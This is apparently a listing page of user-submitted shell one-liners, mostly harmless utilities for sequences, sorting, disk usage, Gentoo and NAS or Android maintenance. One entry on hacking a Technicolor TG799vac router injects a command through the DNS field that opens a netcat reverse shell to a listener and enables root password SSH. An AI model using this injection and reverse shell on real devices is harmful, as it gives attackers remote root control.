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Generate a sequence of numbers.

# for description type man seq Show Sample Output
This is sample output - yours may be different.
```
1
2
3
4
5
6
7
8
9
10
11
12
```
0

seq 12

flxndn · 2018-11-14 13:17:52 0
draw honeycomb
This is sample output - yours may be different.
4

seq -ws "\\__/" 99|fold -69|tr "0-9" " "

knoppix5 · 2018-11-13 06:39:37 0
draw mesh
This is sample output - yours may be different.
2

seq -s " \\_/" 256|tr -d "0-9"|fold -70

knoppix5 · 2018-11-12 23:25:25 0
Print a horizontal line

Replace the underscore with any other character. e.g. + or - or =
This is sample output - yours may be different.
1

printf "%`tput cols`s"|sed "s/ /_/g"

houghi001 · 2018-11-12 19:44:16 0
Produce 10 copies of the same string
This is sample output - yours may be different.
0

echo boo{,,,,,,,,,,}

wuziduzi · 2018-11-12 18:26:17 0
Sort by IP address
This is sample output - yours may be different.
0

sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4

wuziduzi · 2018-11-12 18:03:34 0
Show OS release incl version.

Show Sample Output
This is sample output - yours may be different.
```
Gentoo Base System release 2.6
```
0

grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1

wuziduzi · 2018-11-12 18:01:57 0
Print a horizontal line
This is sample output - yours may be different.
0

printf -v _hr "%*s" $(tput cols) && echo ${_hr// /${1--}}

wuziduzi · 2018-11-12 18:01:25 0
Echo string over and over until CTRL-C
This is sample output - yours may be different.
0

yes I am awesome

wuziduzi · 2018-11-12 17:57:52 0
Generate a sequence of numbers.

Uses bash shortcut to generate series, it works with letters too echo {A..H} echo {a..h} Be careful not to mix upper and lower case, you may encounter funny results : echo {z..A} z y x w v u t s r q p o n m l k j i h g f e d c b a ` _ ^ ] [ Z Y X W V U T S R Q P O N M L K J I H G F E D C B A Show Sample Output
This is sample output - yours may be different.
```
1 2 3 4 5 6 7 8 9 10 11 12
```
0

echo {1..12}

keltroth · 2018-11-12 14:09:26 0
Test sendmail

test if sendmail is installed and working. Show Sample Output
This is sample output - yours may be different.
```
[root@machine]# echo "Subject: test" | /usr/lib/sendmail -v user@domain.com
user@domain.com... Connecting to [127.0.0.1] via relay...
user@domain.com... Deferred: Connection refused by [127.0.0.1]
```
0

echo "Subject: test" | /usr/lib/sendmail -v me@domain.com

guillaume1306 · 2018-11-12 11:51:33 0
Find ASCII files and extract IP addresses
This is sample output - yours may be different.
0

1 find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;

wuziduzi · 2018-11-12 03:43:46 0
Show used disk space:
This is sample output - yours may be different.
0

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $2} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuziduzi · 2018-11-12 03:34:52 0
Show allocated disk space:
This is sample output - yours may be different.
0

df -klP -t xfs -t ext2 -t ext3 -t ext4 -t reiserfs | grep -oE ' [0-9]{1,}( +[0-9]{1,})+' | awk '{sum_used += $1} END {printf "%.0f GB\n", sum_used/1024/1024}'

wuziduzi · 2018-11-12 03:33:58 0
List all global top level modles, then remove ALL npm packages with xargs
This is sample output - yours may be different.
0

npm ls -gp --depth=0 | awk -F/ '/node_modules/ && !/\/npm$/ {print $NF}' | xargs npm -g rm; npm -g uninstall npm

wuziduzi · 2018-11-12 02:24:24 0
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuziduzi · 2018-11-12 02:02:43 0

Print compile time in seconds package by package (Gentoo Distros)

qlist -I | xargs qlop -t |sort -t" " -rnk2

wuziduzi · 2018-11-12 01:50:16 0

Calculate your total world compile time. (Gentoo Distros)

From Gentoo Forum, greetings to rudregues & steveL. Show Sample Output
This is sample output - yours may be different.
```
48h:4m:20s
```
0

qlist -I | xargs qlop -t | awk '{ if ($2 < 5400) secs += $2} END { printf("%dh:%dm:%ds\n", secs / 3600, (secs % 3600) / 60, secs % 60); }'

wuziduzi · 2018-11-12 01:45:37 0
Uninstall bloatware on your android device without root.

List all packages with: pm list packages|cut -d: -f2 Show Sample Output
This is sample output - yours may be different.
```
Success
```
0

pm uninstall --user 0 com.package.name

wuziduzi · 2018-11-12 01:41:40 0
Completely wipe all data on your Synology NAS and reinstall DSM. (BE CAREFUL)
This is sample output - yours may be different.
0

/usr/syno/sbin/./synodsdefault --factory-default

wuziduzi · 2018-11-12 01:34:30 0
Reinstall a Synology NAS without loosing any data from commandline.

Seen many questions how-to reinstall synology nas dsm without loosing data, here you go. Wait for a few min and then head over to http://nasip and setup your fresh installed nas. Show Sample Output
This is sample output - yours may be different.
```
Success.
Rebooting.
```
0

/usr/syno/sbin/./synodsdefault --reinstall

wuziduzi · 2018-11-12 01:31:11 0
Factory reset your android device via commandline.
This is sample output - yours may be different.
0

am broadcast -a android.intent.action.MASTER_CLEAR

wuziduzi · 2018-11-11 18:01:10 0
Find all file extension in current dir.
This is sample output - yours may be different.
0

find . -type f | perl -ne 'print $1 if m/\.([^.\/]+)$/' | sort -u

wuziduzi · 2018-11-11 01:09:42 0
Generate a sequence of numbers.
This is sample output - yours may be different.
0

for ((i=1; i<=99; ++i)); do echo $i; done

wuziduzi · 2018-11-11 01:00:56 0
Test your bash skills.
This is sample output - yours may be different.
0

ssh bandit0@bandit.labs.overthewire.org -p 2220

wuziduzi · 2018-11-11 00:55:33 1
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Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

Rename files in batch

Ultimate current directory usage command

Based on the MrMerry one, just add some visuals to differentiate files and directories

archlinux: check which repository packages have updates available

Shows which packages from the official repositories (not aur) have updates available. For most accurate output, the mirrors and package lists should be up to date.

list directories only

Force the script to be started as root

Place this code at the beginning of your script to ensure that it can only be executed by the root.

save date and time for each command in history

for the change stay in your history file , export command by writing it into your .bashrc

Figure out your work output for the day

Figures out what has changed in the last 12 hours. Change the author to yourself, change the time since to whatever you want.

ls -qaltr # list directory in chronological order, most recent files at end of list

I find it very handy to be able to quickly see the most recently modified/created files in a directory. Note that the "q" option will reveal any files with non-printable characters in their filename.

Dump bash command history of an active shell user.

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